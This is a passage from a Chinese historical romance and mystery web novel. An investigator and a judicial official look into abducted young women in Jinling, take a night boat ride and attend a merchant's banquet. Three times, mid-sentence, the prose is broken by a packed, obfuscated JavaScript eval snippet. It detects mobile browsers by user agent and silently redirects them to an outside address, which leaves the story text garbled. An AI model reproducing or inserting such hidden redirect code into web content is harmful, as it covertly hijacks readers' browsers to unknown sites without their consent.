金羽不用回头,都能感受到马车里裴砚那双危险性极强的眼神,他芒刺在背,慌乱拒绝,“薛娘子,瞧你这说的什么话,我可是个男子,怎么能帮你望风呢?” 薛嘉玉只觉得他这人脸皮也太薄了吧,她一女子都尚且没计较这个问题,他还先计较起来了。 罢了罢了,她现在没这么多功夫跟金羽打嘴上太极拳了。 她往草丛里面咕蛹了好几百步路,直到看不清马车了,薛嘉玉才放心蹲下来。 解决了尿急之后,薛嘉玉速速回到了马车上,她面色羞赧,“大人,什么时候可以到驿站啊?” “当然只有晚上才到驿站休息,白天是用来赶路的。” 薛嘉玉揉了揉发疼的肚子,犹豫不决地开口:“可是……大人我好像因为喝茶喝多了,肚子有些疼。” 裴砚揉了揉眉心,甚是无奈。 “此地荒僻,也没有医馆,你再忍一忍,等到了洛阳,就带你去看病。” 她躺在座椅上,曲起双腿,双目无神好似疼得灵魂出窍,薛嘉玉两手抱着肚子,气若游丝道:“大人,我觉得这绑架案有一点很是蹊跷。” 裴砚褪下身上的暗红鱼纹鹤氅,轻轻搭在了她的身上,“说说。” “这金陵的小娘子被绑走后,她们的家人却都没有收到威 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现在有求于人,薛嘉玉不敢惹他生气,只好伸出一根手指,轻轻地戳了戳裴砚的肩头,“大人,我不该对你的玉佩起歹意的。” 裴砚头一次没有说她市侩,而是解下自己腰间的白虎玉佩,摊开手心递给她,“无碍,你收下这枚玉佩吧,不过这枚玉佩万万不可真的拿去当了。” 这枚玉佩上面雕刻了一头凶猛的白虎,一般白虎都是象征着军事、兵权,裴砚不是将军,却能拥有这枚,说明裴府也有人曾立下了赫赫军功。 果然,裴砚来头不小,又身为大理寺少卿,想必他也清楚关于当年一事的一些细枝末节。 还是要速速从他口中撬出点什么重要细节来,一旦有了凶手线索,薛嘉玉就可以立刻甩掉他,报了仇,她也能过上闲云野鹤的安稳生活了。 薛嘉玉虔诚地双手接过白虎玉佩,感恩戴德地想直接跪在地上磕几个响头,然后真诚地拜他为义父。 “多谢大人,这玉佩放在我这儿,您就放一千万个心吧。” “这玉佩一定要时时戴着,不可乱放。” 她牢牢地把玉佩系在腰间,早就对这些老生常谈习以为常了,薛嘉玉机械性地点点头,“我知道我知道。” 夜色降临,月光穿过层层浮云,星星点点地落在大地上,三人在驿站安顿好,裴砚发觉外面夜景正好,此等良宵美景不可错过,他忽然想要带着薛嘉玉一块去外面赏月。 裴砚敲了敲薛嘉玉的房门,里面正闭着双眼,安心泡着美容澡的薛嘉玉被吓了一大跳,她下意识两手交叉搭在肩膀上,冲着门口那位事精儿吼道:“大人,你又有什么事情要吩咐啊?” 他并未直接表明自己的目的,“你出来,我找你有点事情。” 薛嘉玉气得合上双眼,看似很平静,实则已经走了一会儿了,她大手一伸,扯过衣架上挂着的衣服,迅速穿好,然后在身上披上了一件毛绒绒的大氅。 她气鼓鼓地推开双门,“大人,可是金陵那边出什么事了?” 裴砚二话不说,直接牵上了她的手腕,一边强行带着她往外面走,一边温柔道:“随我出来。” 25. 木芙蓉 薛嘉玉被带到了一片花圃,她盯着面前一大片盛开的木芙蓉,木芙蓉的几层花瓣既染着一抹浅粉色,也染上了星星点点的白色,娇艳欲滴,看起来十分软糯。 她没忍住摘了一朵木芙蓉花,凑近嗅了嗅,闻起来倒没有她想象中那么好闻。 不过胜在这木芙蓉花长得实在好看,薛嘉玉便也忽略了它这个缺点。 这时,裴砚忽然凑了过来,夺过她手里的木芙蓉,“这木芙蓉早晨的时候,花瓣是白色或者浅红色的,但中午和下午开放的时候又变成了深红色,故又称醉芙蓉。” 她知道裴砚专门给她解释,是觉得她读书甚少,见的世面更少,肯定忍不住这花是什么品种。 薛嘉玉又把木芙蓉抢了回来,“我知道大人才高八斗,但也没必要在这个时候卖弄学识吧。再者,我是读书少,但是我也知道这花叫木芙蓉。” 裴砚本来只是单纯想要跟她解释一下的,结果却被她误以为自己是在卖弄学识,他顿时有些郁闷。 她本是无意间随口一说,没想到竟惹得他不太高兴,薛嘉玉拍了拍他的腰,“大人,我刚就随口一说的啦,你别那么小气嘛。” “冷不冷?” “不冷啊。”说着,她就拢了拢自己身上的大氅,接着臭屁地转了一圈,颇有些骄傲地说,“因为我有景天给我买的大氅,是不是很好看?而且超级暖和,比大人你那一件不知道暖和了多少。” 裴砚没跟她置气,而是伸出手摸了摸那大氅上到绒毛,随即抬眼不经意间问:“原来你喜欢这种?” “暖乎乎的谁不喜欢?” 这时,大风四起,将薛嘉玉披散的头发都吹乱了,她见裴砚同自己也没有什么重要的话要说,就打算先行回去,以免着凉。 “大人,我有些困了,想早些歇下了。” 他两眼含笑,点点头,好脾气道:“好。” 二人踩在哐哐直响的木梯上,各怀心事,互道一句“明日见”后,就各自回了厢房。 薛嘉玉靠在门上,黛眉微蹙,方才本来是想要借机打听一下当年的事情的,可是这裴砚叫她出去又根本不谈案子的事情,偏要去提那劳什子木芙蓉,她根本寻不到好的良机。 她无奈地叹了口气,也不知道什么时候才能够得知更多的消息。 晚上总爱刮起大风,薛嘉玉又比较怕冷,连忙把窗户关严实了,确认不会有一丝风灌进来,才放心地甩掉鞋子,扑到床榻上,用手紧紧裹住软乎温暖的被衾。 这一夜,她又做了梦,但并非是关于多年前家人被屠一事,而是关于裴砚的。 薛嘉玉梦见他穿着一身鲜红色婚服,旁边站着一位头戴凤冠,身着红衣的女子,女子两手拿着圆形绢扇,挡住了自己的脸,二人不时偷偷对视。 当真是一对惹人艳羡的璧人。 坐在宾客席上的薛嘉玉为了给这对新人送礼,差点没把家产掏空,为了让自己不吃太多亏,她根本没心思和其他宾客们聊天,只一味地用筷子夹着桌上的各种菜肴,势必要将这些美味珍馐洗劫而空。 梦醒了,薛嘉玉觉得脑袋好疼,一边揉着脑袋,一边踩着鞋子走到窗边,单手推开窗户,此刻东方泛白,天光熹微,晨雾笼罩着一眼望不到尽头的大地,她将脑袋探出去,轻轻一嗅,鼻腔里刹那间被一股泥土的清香味充盈了。 良辰美景不可浪费,她站在窗前,两个手肘搁在窗框上,两手捧着脸蛋,安安静静地欣赏着面前的景色,瞬间就把那个奇怪的梦抛之脑后了。 薛嘉玉偏头,刚好对上了同样打开窗户的裴砚,她冲着裴砚招了招手,“早安。” “嗯。”裴砚浅浅回应了一句,就立马收回眼神,关上窗户,不知道做什么去了。 她背起行囊,耳朵上戴着的玲珑耳铛随着下楼的动作大幅度摇晃着,走到门口的时候,发现金羽和裴砚已然牵着马车等在门口了,薛嘉玉抬手简单整理了一下头发,就快步跑了过去。 “抱歉,让你们久等了。” 裴砚给她搭好小楼梯,“无碍。” 薛嘉玉弓着腰,钻了进去,随后裴砚也跟着上来了。 再度拉开帷裳,目光所及之处是金桂飘香的金陵,石板路上熙熙攘攘的人群,街上一派富贵繁华景象,旁边有一条河流缓缓流淌,波光粼粼的水面上有三两只船只飘过,船夫嘴里还吆喝着船歌。 她站在石板路上,两手伸开,往后面伸展了一下,薛嘉玉总算是明白了为何前朝诗人总爱在金陵游历,洋洋洒洒写下数千篇赞美金陵的诗。 裴砚瞧她盯着那浮光跃金的江面有些出神,便知晓她是想要去坐船,只是现在才至夕阳时分,还得去衙门那儿问问女子失踪案的情况。 他站在薛嘉玉身后,单手扣住她的手臂,强行把她从幻想中硬拉出来,“先去把正事办了,再玩也不迟。” 薛嘉玉挣脱开他的束缚,自觉地跟在他的身后,并把耳朵上的那对耳铛给取了,免得等会儿裴砚又要发牛疯,说她不像个仆人的模样。 衙门离这儿不远,且大理寺前来协助办案本也是机密之事,用马车过去实在有点招摇,说不定还会打草惊蛇,所以三人都是走路过去的。 可到了衙门,却瞧见了衙门小官儿一副消极惫懒的模样,只是裴砚来这儿并不是行监察御史之责,所以他也懒得管。 裴砚走到一位站着的小吏面前,掏出大理寺腰牌给小吏看,小吏吓得精神抖擞,连忙跪在地上恭敬行礼,“大大大人好!” “把你们知府带过来。” “是!” 徐知府早就听闻大理寺会派一位少卿前来金陵,助破女子失踪案,只是没想到来者竟如此年轻有为,真不愧是长安的人啊。 虽说他们都是四品官,但裴砚毕竟是在中央做官的人,天子脚下的人,徐知府不敢马虎对待,他满脸堆笑,脸颊上的横肉都挤在了一起,“哎哟是裴少卿啊,本官真是有失远迎了,少卿可莫要介意。” 还不等裴砚回应,徐知府就热情地牵着他的手往里面走,开始唠起家常,“近日过得可好啊?裴大郎和夫人可还琴瑟和鸣?当时他们二人成婚,我因有公务在身,未能前去长安亲自贺礼,你可莫要让裴大郎记恨我啊。” 裴砚僵硬地扯了扯嘴角,心道:那死驴指不定都把你抛到九霄云外去了。 徐知府的热情寒暄并没有得到对方的回应,可他也没有放弃,继续夸赞:“你瞧瞧你们兄弟俩,一个是掌管科举和官员升迁的吏部侍郎,一个秉公执法的大理寺少卿,真是年轻有为,当为我朝所有学子的典范才是!” 薛嘉玉一直跟在他身后偷听,听到“典范”那两个字的时候,忍不住偷笑,怕被裴砚瞧见,特意用宽袖捂住自己的下半边脸。 她偷偷凑到金羽身边,嘀咕道:“金羽,就你郎君那驴脾气,要是成为了学子们的典范,这可如何是好?” 金羽本想笑着附和,但一抬眼就对上了裴砚那双寒冷至极的目光,立马收起刚才的嬉皮笑脸,客客气气地回答:“薛娘子,郎君就在前面呢,还是要克制一点。” 薛嘉玉悄悄瞥了裴砚一眼,甚是无趣地瘪了瘪嘴巴,“知道了。” 徐知府来到储藏室,将女子失踪案的卷宗全都递交给了裴砚,他低头看了眼堆了个满怀的卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再者,说句没良心的,被掳走的只不过是女子罢了,那些官员富商家里妻妾甚多,孩子能抱着府邸转两圈,少了个女儿也无所谓,说不定还会因为家里子孙满堂而发现不了,至于那些平头百姓,少个孩子,他们也少些养家糊口的压力。 因而这件事情并没有闹得特别大,直到后面失踪人数越来越多,就连来金陵游历的女子都会被掳走,这件事情方被中央知晓。 金陵附近都是几个十分富饶的城市,若是有大量民女进城,想必也会被当地知府们知晓。 要是运到西南那些相对偏僻落后的地方,一路上山高水远的,不仅运输难度大,被发现的概率是十分大,此举实在冒进。 所以掳走民女,又运出城外这个可能性几乎是微乎其微。 于是裴砚问:“你当真是认真搜查了的吗?按理说,这些女子们还在金陵的可能性十分大。” 徐知府是个欺软怕硬的墙头草,生怕自己在裴砚面前出现任何一点纰漏,要是惹他不悦,到时候他回京禀明圣上的话,他脑袋上的乌纱帽——不,应该直接说成他的脑袋都不保了才对。 “当真查了,确实是没有查到啊。大人若不信,大可亲自带领衙门的小吏去一家一户地搜。” “不必,你先出去吧,有时自会叫你过来。” 薛嘉玉只草草看了十几位失踪女子的信息,“大人,我发现这些被掳走的女子年龄都不大,皆不超过二十,个个天生丽质,而且家世各不相同,这贼人就像是在无差别报复一样。” 裴砚的眸中不禁蒙上一层迷雾,他转而问了一个和案情毫不相关的问题,“薛娘子,你今年几岁?” 26. 晚安 薛嘉玉不知道他为什么突然间问了这么一个隐私的问题,但她还是老老实实交代:“年芳十九,正是容易被贼人掳走的好年纪。” 裴砚将那些案卷递给金羽,走到她的身边,略有深意地说:“年轻貌美的女子被掳走,定是因为贼人看上了她们身上的某种长处,可以加以利用。所以,薛娘子不必担忧自己会被掳走。” 罢了罢了,薛嘉玉,你可千万不可以同一头不会说人话的死驴置气啊!只有死驴才会听懂死驴说的是什么。 是的,没错,就是这个道理。 她默默给自己洗脑,又在心里面骂了不下百句“死驴”,心情才登时好了不少,薛嘉玉佯装不在乎的说:“裴少卿这话说的没错,民女貌若无盐,无才无德,身世凄惨,自然不会被贼人看上。” 裴砚没有立刻回应她,而是吩咐金羽把这些案卷全都放到客栈厢房里去,金羽应声退下。 此刻,储藏室里面只剩下他们孤男寡女,裴砚大发善心,主动提议:“走,陪你去游湖。” 薛嘉玉没有立刻相信死驴的鬼话,狐疑地反问:“真的?大人不回去看案卷吗?” 他的脑子急速转动,很快便想好了说辞,“我瞧你方才盯着那水面上德川都已经望眼欲穿了,一直以来你也帮了我不少,也该犒劳犒劳你。” 本来这时天色也不早了,薛嘉玉想着这金陵这么危险,自然是能越早点回客栈越好,但既然有裴砚在身边,她倒是也很安心,便点头同意了。 只可惜当他们赶到江边的时候,船夫已经回家,只剩水面上用绳子拴着的空荡荡的船只。 薛嘉玉肉眼可见地有些失落,但她也不想拂了裴砚的好意,“没事儿大人,大不了我们明天再来。” 可裴砚面上确实云淡风轻,他冲着那小船扬了扬下巴,“无碍,那船不是还在那儿吗?” 说罢,她就瞧见裴砚径直走向船只,薛嘉玉立刻心领神会,她像做贼一般左瞧瞧右看看,确定旁边没有什么人之后,才放心大胆地追了上去,薛嘉玉揪住他的衣袖,“大人,你当真要偷船啊?” 裴砚伸出食指,放在嘴唇边上,比了一个噤声的手势,“这怎么能叫偷呢?顶多算是暂借。” 薛嘉玉若有所思地颔了颔首,心道:真不愧是读过书的,说话都更文雅一些。 只是这大理寺少卿趁着夜色,来到江边偷船,这事儿要是被传了出去,定会立刻成为说书人的话本,而远在长安的崔景天一定会狠狠嘲笑他一番。 他三两下解开绳子,扶着薛嘉玉小心翼翼地上了摇摇晃晃的船只,薛嘉玉坐在船上,小船因为重量失衡,立刻向她的方向倒去。 薛嘉玉被这突如其来的剧烈晃动吓了一跳,下意识地用两只手扶着,“大人,你快来对面坐着!” 裴砚站在船头,单手撑着船篷,弯着腰看向里面惊慌失措的她,忍不住笑了出来,“你平日里连尸体都不怕,怎么坐个船反而还这么胆小?” 这话一出,她立刻双手抱在胸前,立刻镇定起来,摆出裴砚以往那副别人欠了他二五八万的模样,“谁说我害怕了?我怎么可能会害怕?你休要胡说。” “是么?”裴砚忽然心生一计,他走到薛嘉玉这边来站着,毕竟裴砚人高马大的,重量不轻,他一过来,这只小船就偏斜地更厉害了。 可是这还没完,裴砚就跟个三岁小孩儿一样调皮,抬起脚用力踩了踩船底,小船猛地向右边一倒。 薛嘉玉气得将手里攥着的手帕狠狠扔在了他的身上,“划你的船去,船夫!” 他精准接住砸在自己身上的手帕,上面绣了一朵牡丹,一看这歪七扭八的花朵,就知道这肯定是薛嘉玉自己无聊的时候绣的。 裴砚将手帕塞进她的怀里,“别生气了,我去划船就是了。” 薛嘉玉现在火冒三丈,根本不想理他,将自己的手帕揣回袖子里面后,就偏过头去看外面被夜色笼罩的江面。 这时,圆盘似的月亮高悬,月光毫不吝啬地遍照大地,静影沉璧,波光粼粼,江水缓慢地向前流淌,周围安谧至极,一点风吹草动都能传入耳畔。 裴砚站在船头,身姿挺拔,手里的桨小幅度地晃动着,在清澈的江面上荡起层层波澜。 后来,兴许是裴砚划桨划累了,他便放下手中的木桨,钻进船篷,正要坐下,才蓦地发现薛嘉玉把耳朵上的青翡玲珑耳铛给取下来了。 裴砚忽地凑近,抬起手,用手指刮了一下被她别在耳朵后面的发丝,“耳铛是什么时候取的?” 薛嘉玉感受到他的触摸,像是触了电一般,立刻抬起屁股往旁边一挪,她强迫自己忽略掉那颗怦怦乱跳的心脏,抬起手摸了摸空荡荡的耳垂,“去衙门之前就已经摘了,不是你说戴着耳铛不像仆人的模样吗?” 此时此刻,裴砚真想拿一块石头拍死当初说这话的自己,他完全找不到话来反驳。 刚耍完流氓的裴砚却像个没事人一样,心心安理得地坐在薛嘉玉的对面,生硬岔开话题,“一会儿回了客栈,你先跟我一块儿去我屋里看看卷宗。” 她没想到回了客栈之后还不能早些休息,薛嘉玉只觉得自己命好苦啊,抿着嘴唇一脸不愿地点头:“知道了,大人。” “大人,其实我一直很好奇一个问题,但是我不敢问。” 裴砚今夜心情甚是不错,对她想问的问题十分好奇,便说:“你大胆说便是。” “大人之前曾提到过裴家的人只娶心爱之人乃是家规,可为何你兄长却娶了根本不爱的蒋夫人呢?这样对蒋夫人而言,每日定也过得十分煎熬吧。” 当初裴、蒋两家立下婚约之时,裴砚正在洛阳同陈晟小叙,回了长安后也没去见过裴珩,所以对他们之间的事情知之甚少,直到他们成婚那日,裴砚不得不赶去参加,才从裴母口中了解了一些关于他们的事情。 “我记得当时我娘觉得裴珩这人脾气古怪,想必整个长安不会有哪位女子会看得上他,就打算给他亲自择个夫人,碰巧相中了长嫂,但当时裴珩也没有拒绝,就那么顺从着娶了。也许对于长嫂而言,裴珩就是个若有若无的人吧,反正裴府上上下下也不敢得罪长嫂,在蒋府怎么过,那在裴府不也就那么过嘛。” “那要是你以后也被安排着娶一位夫人的话呢?” 裴砚扬唇一笑,“我还年轻,娶夫人这种事儿还早着呢。薛娘子不必替我担心人生大事。” 小船顺着江流划过了好长一段距离,最后在一个渡口的位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088045|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置停下来了,裴砚先上了岸,等着薛嘉玉慢悠悠从船上上来。 “薛娘子呢?打算什么时候嫁人啊?” “不嫁人,嫁了人倒霉一辈子。” 裴砚忽地身子一僵,旋即迟疑着说:“这个不能以偏概全吧,若是择了一位品德兼优的良人,也不至于说是倒霉吧。” “可是有的男子只有等结婚以后才会暴露本性,到时候若想和离,那简直比登天还难。” 他没再说话,带着薛嘉玉一块儿回到客栈的厢房,裴砚的行囊还没有收拾好,他便让薛嘉玉先看着书桌上那一沓一沓的案卷。 薛嘉玉坐在椅子上,案卷翻动的时候发出了清脆的“咔咔”声,发现其实除了性别和年龄有共同点之外,再无其他,而且案卷上关于贼人的线索一点都没有记载,这哪怕是圣上亲临,也根本无从查起。 她有些灰心丧气,两手搭在书桌上,背靠椅子,眼珠子忽然骨碌一转,“大人,这根本就无从查起啊,上面连贼人是男是女都没有一个定论,看来是又要成为大理寺的一桩断尾案了。” 裴砚抓住了她话中的重点,“又要?难道你还知道大理寺里面其他的一些草草结案的陈年案子?” 薛嘉玉借机提起:“上次中秋宴的时候,我听沈峤说起十几年前在长安有一户姓薛的人家在一夜之间全都被灭口了,沈峤还说此案根本就没有进行勘察,就被大理寺卿草草结案,这可是真的?” 可是他根本没有回应薛嘉玉抛出来的问题,而是皱着眉头问:“沈峤?你怎么又跟沈峤勾搭上了?” “这怎么能算得上是勾搭呢?我们就是正常交流。”薛嘉玉忽觉自己被他带偏了话题,连忙把原来的话题找回来,“所以,大人,沈峤说的是真的吗?” 十三年前,长安薛家被灭门一案,裴砚也是略有耳闻,也曾在翻阅陈年卷宗的时候留意到了薛家一案,的的确确是草草结案,上面只简单记录了案件简述和死亡人数,其他便什么也都没了,仅寥寥四排。 裴砚沉重地点头,“没错,确实是草草结案,但更深的我可就不知道了。话说,薛娘子,你不觉得很巧吗?” 薛嘉玉身子猛地一僵,不敢回头对上他那双审视的眼神,镇定自若地反问:“你想说我和被灭门的薛家都是同一个姓氏吗?” 他不语,薛嘉玉便知道他心中确实是这么想的。 她转过身来,脸上挂着一抹无奈的笑容,薛嘉玉拍了拍手,“拜托,大人,你动动脑子就知道我肯定跟那个薛家没有半点干系啊。这凶手既然能够把手伸到大理寺去,就说明他肯定是长安的某一位达官显贵,他要灭口,怎么可能留下任何一个活口?我若真的是那薛家的人,那我是得有多大的命才能活下来啊。” 也是,既然是灭口,那就不可能放过任何一个活物,她要真的是薛家的人,是万万活不下来的。 裴砚暂且不怀疑她,把手里那堆衣服整理好后,就走到薛嘉玉的身后,“一点蹊跷之处都没有看出来吗?” 薛嘉玉把案卷递给他,“没有,我看得有些头晕,就先回房睡觉了。” 说着,她便扶着椅子站了起来,薛嘉玉的手刚碰到满把手,就听见身后的裴砚说—— “晚安。” 27. 吃醋 清晨,裴砚和薛嘉玉早早起来,二人相对而坐,各自吃着面前的早饭。 这时,金羽忽然着急忙慌地从门口跑了进来,顾及到这客栈里还有别人,便紧紧凑到裴砚身边,从袖子里掏出一封信,压低声音说:“大人,陶维钧的信。” 薛嘉玉瞧着这一幕,甚是好奇,就“噔噔噔”地拿着手里的烤馅饼跑到裴砚身边凑热闹。 裴砚拆开信件,抽出里面的信纸,信上的内容十分简单:陶某听闻裴少卿来了金陵,鄙人特地邀请大人今夜酉时来我府中一聚,到时还会有其他贵客前来,还望大人莫要辜负了鄙人的心意。 薛嘉玉跟着他办事办了这么久,从来没有听说过这个名字,忍不住问:“陶维钧是谁?” 他把信件重新折好放回去,言简意赅地解释:“一个奸商,早些年尽靠做一些损人利己的事情发家。此人狡猾,突然邀请我去他府中相聚定然是黄鼠狼给鸡拜年。” 她将手里剩下的半块烤饼塞进嘴巴里,一边用手帕擦了擦嘴周,一边含糊不清地说:“那我们就不去?反正你是官,他是商,你压他一头,谅他也不敢说什么。” 只见裴砚摇了摇头,“强龙压不过地头蛇,这宴不得不去。” 裴砚偏头,将视线定在薛嘉玉的脸蛋上,她今日依旧未施粉黛,面颊有些发黄,但没有以前那么瘦削了,最关键的是,薛嘉玉今日还是没有戴上他送的耳铛。 他心中忽然浮现出一股非常莫名其妙的感觉,而且不断滋生,让裴砚根本无法忽略。 裴砚把视线收了回来,盯着面前的白粥沉默了半晌,才不好意思地开口:“你一会儿上去好好打扮一番吧。” 薛嘉玉心领神会,福至心灵地回答:“放心,大人,我都明白的。这次是不是又要扮演夫妻恩爱的戏份了?我一定会打扮得连亲娘都认不出来,绝不会丢了大人的脸。” “我——” 刚说一个字,裴砚就忽然止住了,他把剩下的话全都吞进肚子里去,冲着薛嘉玉摆了摆手,示意她回房去。 薛嘉玉回到屋中,不知怎么的,心里面好像有点难受。 其实这种感觉也不是今天才出现,从洛阳回来之后,她每每瞧见裴砚靠近自己,心里都会萌发出一种难以描述的感觉,有时候是激动,有时候是难过。 她用两只手拍了拍自己的脸蛋,想让自己停止胡思乱想,可还是没能阻止。 拉开椅子,坐在梳妆台前,薛嘉玉盯着镜子里的脸蛋有些出神。 难道自己长得就这么丑吗?就这么见不得人吗? 他昨日也说自己长得不好看,今日又忽然提出让自己好好捯饬一番。 她的肤色的确比不上长安的贵女们,可是也不至于说不梳妆就见不得人吧。 随后,薛嘉玉的视线又落到了自己皱皱巴巴的手上,一双手十分粗糙,手指头上面还有茧,有的时候她自己都很嫌弃。 可是她也不想整日忙活操劳,她也想要想贵女们一样去做自己想做的事情,去买最好的脂粉打扮,去游历四海,看遍大好河山。 罢了,现在不是去想这种事情的时候,当务之急是要获得更多当年一案的线索。 薛嘉玉强行拉回自己的理智,从妆奁中翻出那些脂粉,和当初自己在西市买的簪子。 她上妆手法生疏,只能勉强糊一糊,看着脸比之前白了不少就行。 最后,她对镜簪钗,这一次她难得把所有的头发都给挽了起来,倒是显得她脖子修长不少。 金陵地处南方,气候并不寒冷,就是湿气有些重。 因而她只穿了件薄薄的深紫色布裙,低胸高腰,右肩上披着单肩黄色披帛,一眼瞧去十分高雅飘逸。 本来以为自己这样穿,裴砚定不会嫌自己丢人,可当她满心欢喜跑到裴砚面前的时候,他却问:“怎么穿的是布裙?” 薛嘉玉的嘴角一点一点地沉了下来,她两手无措地放在大腿两边,一向伶牙俐齿的她竟一时间不知道说什么才好。 布衣是很便宜,但洗起来很方便,不像一些丝绸的衣裳洗起来讲究的很,甚是金贵。 “怎么不说话?”他吹了吹手里的这盏热茶,掀起眼皮看她。 她揪着裙摆,脑子一片空白,“我……” 在一旁一直察言观色的金羽发现了她的不对劲,他弯下腰,凑到裴砚耳畔,悄声提醒:“大人,我瞧着薛娘子好像不太开心,她是不是误会你刚才那句话了?” 幸好裴砚长了嘴,立刻解释:“你别多想,我不是说你穿布衣不好,我只是好奇你怎么不穿崔景天送你的那些锦衣纱裙。” 薛嘉玉的手瞬间松了松,诚实道:“那些裙子好看是好看,但一旦弄脏了就不太好洗。” “那我们出发吧。” 说罢,裴砚从椅子上站起来,他的视线不自觉被薛嘉玉的胸口所吸引,被衣物遮盖的肌肤若隐若现,他想她穿着红色嫁衣服的话,应该会更好看吧。 眼尖的金羽很快就发现了自家郎君地不对劲,他满怀坏意地凑到他身后,憋笑道:“大人,趁人之危可非君子所为。” 裴砚瞬间收回眼神,把脑子里那些想入非非的画面全都抛之脑后,他提起右腿,冲着金羽的膝盖踢了一脚,“闭嘴。” 薛嘉玉也是心大,根本没意识到方才裴砚只是单纯地盯着自己看,她还以为裴砚仍旧在怀疑自己和薛家的关系。 二人上了马车,皆是不语,裴砚瞧她也不主动倒云雾茶喝,而且她还是没有戴上那对耳铛,就想她是不是还在生刚才的气?或者说自己还有别的地方惹到她了? “薛娘子,我刚才那句话绝对没有别的意思,也并不觉得你丢了我的脸。” “那我若是不打扮,就随你去陶府呢?也不会丢你的脸吗?” 裴砚爽朗一笑,“我是那种肤浅的男子吗?就算你不想打扮,我也不会勉强你。这回让你打扮,并非是怕你丢我的脸,我只是想让你能够更关注自己一点,打扮是取悦自己。” 薛嘉玉并没有把他的漂亮话往心里面去,只回以浅浅一笑。 陶府依山而建,旁边有着涓涓细流,也不知是不是因为奸商以前纵横商场的时候树敌太多,怕被寻仇,才来这儿隐居。 而且她瞧着这陶府修得极为气派,富贵典雅,面积辽阔,都快要和皇宫差不多了。 三人甫一踏进府门,就有小厮前来热情迎接,那小厮也是个有眼力见的,瞧见裴砚气度不凡,还带有一左一右两个仆从,就猜测此人正是昨日陶维钧千叮咛万嘱咐要好好招待的裴大人——裴砚。 小厮躬身迎接,将他们三人客客气气地请进了待客厅,“想必这位就是裴大人了吧,陶老爷特意为您准备了陶府中最好的厢房,还望您能够赏脸。” 裴砚端起茶杯,揭开茶盖,闻了闻,“知道了。” 随即,小厮冲着候在门口的一位女子挤了挤眼神,那女子立马迎了过来,贴在裴砚身旁,可他却下意识躲开了。 小厮赔笑道:“大人,就让这位小娘子好好伺候你吧,若是有什么不满意的尽管跟我们提,我们都会满足您的。” “行了,你下去吧。”裴砚不敢看薛嘉玉的眼神,连忙对那位小娘子说,“你也下去。” 可这位女子却不离开,反倒是两手搭在他的肩膀上,“这可不行,公子,奴家名唤柳红,就让奴家伺候公子更衣,好去参加宴席吧。” 裴砚压低眉毛,从椅子上站起来,“你带路吧。” 薛嘉玉抽了抽嘴角,“果然,这男子都是一个样。” 金羽连忙两手交叉抱住自己肩膀,“薛娘子,可莫要胡说,大人是这样的可不代表我是这样的人。” “话说,金羽,你不觉得这位小女子很像是青楼里的妓女吗?” 他连忙比了个噤声的手势,“薛娘子,我知道你很生气郎君的做法,但是私妓制度在本朝已被废除,娘子可莫要乱说。” 薛嘉玉连连点头,“知道了,我记下了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091548|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再度见到裴砚,他身上已然换成了一套墨色衣裳,想必是被伺候得舒舒服服的了。 宴席上,裴砚与薛嘉玉各坐一桌,金羽则是候在裴砚身后。 只是,裴砚身边还有那位柳红姑娘陪着,伺候着。 相比起薛嘉玉,她倒是显得有些孤独。 不过这世界上向来是方法比问题多。 与其去注意裴砚和柳红,倒不如给自己也找点乐趣儿。 薛嘉玉转过身,冲着站在自个儿身后那位白面小生勾了勾手指,“你凑近一点伺候我。” 这位小厮长得人高马大的,肤色白皙,一双剑眉极其好看,骨骼线条分明,最关键的是瞧着年龄也不大。 她倒是还挺喜欢的。 薛嘉玉用手指把酒杯推到小厮面前,接着从兜里掏出一个金光灿灿的金元宝,“今夜你要是把我伺候高兴了,这金元宝就归你。” 可接下来却见小厮将那枚金元宝推了回去,“姑娘不必如此。” 她陡然皱起眉头,好奇地盯着小厮看了整整一刻钟,薛嘉玉实在是不能理解,“你居然拒绝了钱?” 小厮端起青瓷酒壶,为她满上,“金元宝实在过于贵重,姑娘真不必如此。” 大抵是这位小厮实在太清新脱俗,薛嘉玉不禁对他开始好奇起来,“你叫什么名字?” “阿褚。” 薛嘉玉情不自禁地将手掌心贴到阿褚的面颊上,向前凑近,二人的鼻尖差点撞到了一起,她柔声细语地问:“阿褚,你长得这么好看,是怎么来到这儿的?” 阿褚抿了抿嘴唇,“我自小就没了父母,被陶老爷收养。” 她没有说话,笑着捏了捏阿褚的脸颊,“阿褚,你们陶老爷是个什么样的人啊?” 阿褚薄唇微张,乖乖回答:“陶老爷是个很好很善良的人,他看见路上有孤儿,都会主动收养,只是他有些贪恋美——” 自知说得太多,阿褚立马将嘴巴闭上,状若一副无辜模样,他立刻低下头去,“陶——陶老爷来了。” 话毕,薛嘉玉便将视线投到了主位上,那传说中的奸商陶维钧虽已年逾六十,但依旧精神矍铄、老当益壮,他落座后便捋了捋白色胡须,“今夜,各位宾客可尽情享受美味珍馐、山林之美以及人间至乐。” 